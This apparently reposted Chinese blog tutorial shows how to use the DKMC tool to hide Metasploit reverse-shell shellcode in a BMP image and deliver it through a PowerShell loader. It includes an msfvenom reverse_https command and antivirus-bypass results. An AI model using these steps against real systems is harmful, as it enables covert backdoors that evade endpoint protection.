遠控免殺專題(15)-DKMC免殺

0x01 免殺能力一覽表

在這里插入圖片描述
幾點說明：

1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒，也就是代表了Bypass。

2、為了更好的對比效果，大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。

3、由于本機測試時只是安裝了360全家桶和火絨，所以默認情況下360和火絨殺毒情況指的是靜態+動態查殺。360殺毒版本5.0.0.8160(2020.01.01)，火絨版本5.0.34.16(2020.01.01)，360安全衛士12.0.0.2002(2020.01.01)。

4、其他殺軟的檢測指標是在virustotal.com（簡稱VT）上在線查殺，所以可能只是代表了靜態查殺能力，數據僅供參考，不足以作為免殺的精確判斷指標。

5、完全不必要苛求一種免殺技術能bypass所有殺軟，這樣的技術肯定是有的，只是沒被公開，一旦公開第二天就能被殺了，其實我們只要能bypass目標主機上的殺軟就足夠了。

0x02 DKMC介紹

DKMC是Don’t Kill My Cat (DKMC)的簡稱，谷歌翻譯為"不要殺害我的小貓咪"，這個名字也是挺少女心的…DKMC是一種生成混淆的shellcode的工具，并把shellcode合成到圖像文件中，最終依靠PowerShell執行最終的shellcode有效負載。

0x03 安裝DKMC

安裝比較簡單


$ git clone https://github.com/Mr-Un1k0d3r/DKMC 
$ cd DKMC
$ mkdir output

執行python dkmc.py即可
在這里插入圖片描述

0x04 DKMC使用說明

執行python dkmc.py后可以看到5個選項，

[*] (gen)	Generate a malicious BMP image  
[*] (web)	Start a web server and deliver malicious image 
[*] (ps)	Generate Powershell payload 
[*] (sc)	Generate shellcode from raw file 
[*] (exit)	Quit the application

翻譯一下


[*] (gen)	將msf的shellcode注入到一個BMP圖像
[*] (web)	啟動web服務用來分發BMP圖像
[*] (ps)	生成ps的payload
[*] (sc)	將msf生成的raw文件轉為shellcode
[*] (exit)	退出

這幾個選項可不是都能生成payload，而是一起組合來生成免殺的文件。

生成一個后門的流程大體為：

1、先利用msf生成raw文件

2、利用sc講raw文件轉換為shellcode

3、利用gen將上一步的shellcode注入到一個BMP圖像

4、利用ps生成基于powershell的BMP文件的payload

5、利用web提供的簡單web服務進行分發BMP文件

4和5看起來有點亂，下面我演示一下就很容易明白了。

0x05 利用DKMC生成后門

1、先利用Msf生成raw格式的shellcode，稍微編碼了一下

msfvenom -p windows/meterpreter/reverse_https  LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 -f raw -o /root/test15.raw

在這里插入圖片描述
2、在主菜單中選擇sc,然后設置source為/root/test15.raw,再執行run生成shellcode。
在這里插入圖片描述
復制一下生成的shellcode,輸入exit退回到主菜單。

3、在主菜單中選擇gen,然后設置shellcode為上一步中生成的shellcode。

其他默認即可，執行run生成圖像。
在這里插入圖片描述
看到生成了output-1577907077.bmp圖像文件，輸入exit退回到主菜單。

4、在主菜單中選擇ps,設置url地址，這個url地址就是web分發圖像文件的地址。

我的parrot虛擬機的地址為10.211.55.24，我打算用默認的80端口，這樣我的url地址為http://10.211.55.24/output-1577907077.bmp

使用命令set url http://10.211.55.24/output-1577907077.bmp，然后執行run生成powershell執行腳本。
在這里插入圖片描述
復制一下生成的ps代碼，輸入exit退回到主菜單。

5、最后一步，在主菜單中選擇web,使用默認80端口，執行run即可。
在這里插入圖片描述
訪問虛擬機的80端口
在這里插入圖片描述
圖像可以正常打開
在這里插入圖片描述
6、在我的測試機器上執行第4步生成的ps代碼，不開殺軟的時候可正常上線

我將ps執行代碼中的-w hidden先去掉，這樣可以看得直觀一些
在這里插入圖片描述
在這里插入圖片描述
7、打開殺軟進行測試

靜態查殺都通過
在這里插入圖片描述
在執行powershell代碼時，火絨和360衛士會攔截報警，360殺毒沒有反應
在這里插入圖片描述

0x05 小結

DKMC主要把shellcode注入到bmp圖像中，然后使用powershell來執行其中的shellcode，但是很多殺軟都會監測powershell的執行動作，所以virustotal.com的靜態檢測不足以說明什么。其實還可以進一步對ps執行代碼進行混淆免殺，這一點后續文章還會涉及這里就不展開說

參考

官方說明文檔：https://github.com/Mr-Un1k0d3r/DKMC

本文來自互聯網用戶投稿，該文觀點僅代表作者本人，不代表本站立場。本站僅提供信息存儲空間服務，不擁有所有權，不承擔相關法律責任。
如若轉載，請注明出處：http://www.pswp.cn/news/380138.shtml
繁體地址，請注明出處：http://hk.pswp.cn/news/380138.shtml
英文地址，請注明出處：http://en.pswp.cn/news/380138.shtml

如若內容造成侵權/違法違規/事實不符，請聯系多彩編程網進行投訴反饋email:809451989@qq.com，一經查實，立即刪除！

相關文章

面向對象（靜態成員內部類的調用）

面向對象（靜態成員內部類的調用）

class beyond{public static void main(String []args){//外部類名.內部類名 對象名 外部類名.內部類對象(new 內部類名)/*Outer.Inner yy Outer.new Inner(); 類里面有個非靜態方法，需要new創建Inner對象;正常的形式是這樣的，但是我們習慣將new放在前…
閱讀更多...
SQL——以面向集合的思維方式來思考

SQL——以面向集合的思維方式來思考

本文來自：http://www.ituring.com.cn/article/details/472 為了以有趣的方式更好地幫助你形成面向集合的思維方式，我將給出自己最喜歡的游戲之一——集合。你可以在線玩這個游戲，網址是www.setgame.com/puzzle/set.htm，每天都會貼…
閱讀更多...
轉載： 統計圖控件NetCharting 和ZedGraph的比較

轉載： 統計圖控件NetCharting 和ZedGraph的比較

原文出處：http://hi.baidu.com/goga/blog/item/07b3024f61b8cd35aec3ab47.html最近考察了幾個統計圖表控件包，開源的有ZedGraph，Nplot等，但是相比之下還是ZedGraph強大，方便一些，其他的感覺還是半成品。收費…
閱讀更多...
【匯編語言】狀態標志符(CF/OF/SF/ZF)在運算(ADD/SUB/ADC/SBB)過程中的響應變化

【匯編語言】狀態標志符(CF/OF/SF/ZF)在運算(ADD/SUB/ADC/SBB)過程中的響應變化

目錄各類運算時狀態標志的響應變化標志符在各種ADD運算下的響應情況標志符在各種SUB運算下的響應情況借助標志符實現多位數之間運算ADC(add with carry)帶進位加法指令SBB(subtract with borrow)帶借位減法指令各類運算時狀態標志的響應變化 標志符具體含義CF（Carr…
閱讀更多...
Java集合unmodifiableSortedSet（）方法（帶示例）

Java集合unmodifiableSortedSet（）方法（帶示例）

集合類unmodifiableSortedSet()方法 (Collections Class unmodifiableSortedSet() method) unmodifiableSortedSet() method is available in java.util package. unmodifiableSortedSet()方法在java.util包中可用。 unmodifiableSortedSet() method is used to get a non-modi…
閱讀更多...
遠控免殺專題(16)-Unicorn免殺

遠控免殺專題(16)-Unicorn免殺

0x01 免殺能力一覽表 幾點說明： 1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒，也就是代表了Bypass。 2、為了更好的對比效果，大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。 3、由于本機測試時只是安裝了360全…
閱讀更多...
面向對象（匿名內部類在開發中的應用）

面向對象（匿名內部類在開發中的應用）

匿名內部類在開發中的應用 public class test1_NoNameInner {public static void main(String[] args) {PersonDemo yy new PersonDemo();//yy.method(new Student());yy.method(new Person() {public void show(){System.out.println("show");}});//匿名內部類當作…
閱讀更多...
【匯編語言】乘法（MUL/IMUL)

【匯編語言】乘法（MUL/IMUL)

乘法（MUL/IMUL） 目錄乘法（MUL/IMUL）IMUL(signed multiply)有符號數乘法MUL(unsigned multiply)無符號數乘法麻！屬實是被這個有符號乘法給整麻了，教材就一行例子直接不解釋了，關于標志位溢出的一…
閱讀更多...
【轉】MFC學習總結

【轉】MFC學習總結

HBRUSH CAboutDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor) {　if ((pWnd->GetDlgCtrlID() IDC_EDIT1) && (nCtlColor CTLCOLOR_EDIT))　{　　　COLORREF clr RGB(255,0,0);　　　pDC->SetTextColor(clr);　 //設置紅色的文本　　　clr RGB(0,0,0…
閱讀更多...
NHibernate初學體驗進階篇

NHibernate初學體驗進階篇

在上篇《NHibernate初學體檢記》中&#xff0c;我參照NHibernate官方快速指南寫了兩個示例項目&#xff0c;在示例2的源碼中充斥了如下類似的代碼&#xff1a;<?XML:NAMESPACE PREFIX O />Configuration cfg new Configuration(); cfg.AddAssembly("…
閱讀更多...
eclipse快捷鍵

eclipse快捷鍵

Java開發工具(Eclipse的視窗和視圖概述) A:視窗 每一個基本的窗體被稱為視窗 PackageExplorer 顯示項目結構&#xff0c;包&#xff0c;類&#xff0c;及資源Outline 顯示類的結構&#xff0c;方便查找&#xff0c;識別&#xff0c;修改Console 程序運行的結果在該窗口顯示Hie…
閱讀更多...
【匯編語言】除法（DIV/IDIV）

【匯編語言】除法（DIV/IDIV）

除法&#xff08;DIV/IDIV&#xff09; 目錄除法&#xff08;DIV/IDIV&#xff09;DIV(unsigned divide)無符號數除法IDIV(signed divide)有符號數除法DIV(unsigned divide)無符號數除法 格式&#xff1a;DIV SRC 操作&#xff1a; SRCSRCSRC為字節時&#xff0c;(AL)←(AX)/…
閱讀更多...
java 方法 示例_Java集合syncedSortedSet（）方法與示例

java 方法 示例_Java集合syncedSortedSet（）方法與示例

java 方法 示例集合類SynchronizedSortedSet()方法 (Collections Class synchronizedSortedSet() method) synchronizedSortedSet() method is available in java.util package. java.util軟件包中提供了sharedSortedSet ()方法 。 synchronizedSortedSet() method is used to …
閱讀更多...
遠控免殺專題(17)-Python-Rootkit免殺

遠控免殺專題(17)-Python-Rootkit免殺

免殺能力一覽表 幾點說明&#xff1a; 1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒&#xff0c;也就是代表了Bypass。 2、為了更好的對比效果&#xff0c;大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。 3、由于本機測試時只是安裝了360全家桶…
閱讀更多...
項目管理軟件應用淺析(轉)

項目管理軟件應用淺析(轉)

項目管理是在一定的約束條件下&#xff0c;以高效率地實現項目業主的目標為目的&#xff0c;以項目經理個人負責制為基礎和以項目為獨立實體進行經濟核算&#xff0c;并按照項目內在的邏輯規律進行有效的計劃、組織、協調、控制的系統管理活動。項目管理的核心技術是網絡計劃技…
閱讀更多...
斜視角的討論（轉）

斜視角的討論（轉）

http://school.ogdev.net/listshow.asp?page4&typeid0&categoryid5&id0&ListType2 目 錄 1.1 地圖和地表 1.2 斜視角游戲中的視角 1.3 Tile圖片的拼接 1.4 不同地表間的過渡 1.5 地圖數據結構的定義 --------------------------------------------------…
閱讀更多...
計算機網絡（湖科大教書匠）

計算機網絡（湖科大教書匠）

計算機網絡&#xff08;湖科大教書匠&#xff09; 本文檔為教學視頻【計算機網絡微課堂&#xff08;有字幕無背景音樂版&#xff09;_嗶哩嗶哩_bilibili】的摘錄 目錄計算機網絡&#xff08;湖科大教書匠&#xff09;一、緒論1.2 因特網概述1.2.1 網絡、互連網&#xff08;互聯…
閱讀更多...
經緯度

經緯度

題目描述 給定地球的兩個經緯度坐標&#xff0c;問這兩個點的直線距離。假設地球為球體&#xff0c;半徑為6371009米。 輸入描述: 第一行一個整數T表示數據組數。 接下來n行&#xff0c;每行四個數lat1, lng1, lat2, lng2分別表示兩個點的經緯度。 正數表示北緯和東經。 …
閱讀更多...
遠控免殺專題(18)-ASWCrypter免殺

遠控免殺專題(18)-ASWCrypter免殺

免殺能力一覽表 幾點說明&#xff1a; 1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒&#xff0c;也就是代表了Bypass。 2、為了更好的對比效果&#xff0c;大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。 3、由于本機測試時只是安裝了360全家桶…
閱讀更多...
Hibernate 筆記4 實現對數據庫的增刪改查

Hibernate 筆記4 實現對數據庫的增刪改查

1 準備 首先在mysql數據庫中建表User,并添加相關信息。 user表結構如下。 ---------------------------------------------------------| Field | Type | Null | Key | Default | Extra |------------------------------------------------…
閱讀更多...
最新文章

Copyright @ 2022~2023